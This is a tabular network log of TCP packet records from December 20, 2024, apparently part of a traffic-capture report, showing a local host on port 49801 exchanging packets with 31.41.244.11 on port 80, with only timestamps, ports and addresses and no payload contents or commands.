Dec 20, 2024 07:12:27.872752905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.872817039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.873526096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.873866081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.873915911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.873980045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.874028921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.875062943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.875113010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.875191927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.875240088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.876255989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.876307011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.876463890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.876513958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.877432108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.877495050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:27.877558947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.878591061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:27.878648043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.009073973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.009128094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.009196043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.009224892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.009260893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.009310961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.010426998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.010484934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.010540962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.011580944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.011693954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.011755943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.012749910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.012868881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.012871027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.012964964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.013955116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.014075994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.014127970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.015121937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.015254974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.015306950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.016314983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.016428947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.016490936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.017491102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.017610073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.017662048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.018704891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.018845081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.018899918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.019872904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.020044088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.020098925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.021091938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.021145105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.021193981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.022258997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.022368908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.022422075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.023437023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.023498058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.023564100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.023637056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.024621010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.024677038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.024725914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.024817944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.025795937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.025918961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.025979996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.027009010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.027065039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.027117968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.027287006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.028182983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.028234959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.028295040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.029361963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.029412031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.029527903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.030571938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.030627966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.030668974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.030719995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.031727076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.031829119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.031882048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.032891989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.032953978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.033015966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.033063889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.034074068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.034203053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.034218073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.034584045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.035301924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.035361052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.035451889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.035507917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.036477089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.036535978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.036597013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.036737919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.037636042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.037697077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.037751913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.037801981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.038825035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.038875103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.038953066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.039004087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.040011883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.040077925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.040191889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.040280104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.041183949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.041240931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.041316032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.041405916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.042371988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.042432070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.042495966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.042546034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.043556929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.043610096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.043642998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.043672085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.044754982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.044809103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.044872999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.044929981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.045958042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.046164036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.046185970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.046542883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.047131062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.047188997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.047250986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.047321081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.048336983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.048372030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.048397064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.048420906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.049478054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.049537897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.049601078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.049707890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.050682068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.050738096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.050806046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.050857067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.051856995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.052026987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.052042961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.052093983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.053036928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.053093910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.053157091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.053220987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.054265022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.054328918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.054390907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.054446936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.055424929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.055480003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.055530071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.056592941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.056647062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.056706905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.057528019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.057777882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.057914019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.057966948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.058965921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.059082985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.059138060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.060165882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.060286045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.060338974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.061348915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.061414003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.061476946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.062522888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.062582016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.062638044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.063707113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.063769102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.063832998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.064879894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.064939976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.065006018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.065527916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.066082001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.066210032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.066261053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.067256927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.067394018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.067456007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.068604946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.068653107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.068661928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.068705082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.069647074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.069741011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.069787025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.070816994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.073532104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.137769938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.201328039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.201395988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.201427937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.201453924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.201515913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.201569080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.201572895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.201626062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.202732086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.202811003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.202860117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.203073025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.203907967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.204020977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.204058886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.204071999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.205080986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.205138922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.205204964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.205435038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.206265926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.206337929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.206389904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.206440926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.207470894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.207524061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.207592964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.207679033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.208652020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.208766937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.208821058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.209811926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.209862947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.209923983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.210139036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.211026907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.211061954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.211097002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.211121082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.212188005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.212250948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.212328911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.212379932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.213478088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.213530064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.213579893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.214565992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.214621067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.214684963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.214876890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.215744972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.215802908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.215859890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.215910912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.216989994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.217046022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.217113018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.217178106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.218116045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.218210936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.218224049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.219295979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.219352007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.219417095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.219624996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.220479965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.220591068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.220597982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.220662117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.221735954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.221787930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.221792936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.221837997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.222845078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.222915888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.222970009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.223020077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.224037886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.224091053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.224158049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.224208117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.225227118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.225275993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.225338936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.225392103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.226413012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.226461887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.226583004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.226636887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.227612019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.227673054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.227735043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.228115082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.228770018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.228830099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.228878021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.228929996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.229953051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.230067968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.230133057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.231209993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.231268883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.231364965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.231694937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.232356071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.232424974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.232553959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.232628107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.233544111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.233637094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.233664036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.233752966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.234709024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.234778881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.234829903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.234906912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.235877037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.235944033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.236007929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.236057043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.237088919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.237123013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.237158060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.237169981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.238265991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.238337994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.238369942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.238414049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.239443064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:28.239497900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:28.239559889 CET	80	49801	31.41.244.11	192.168.2.4
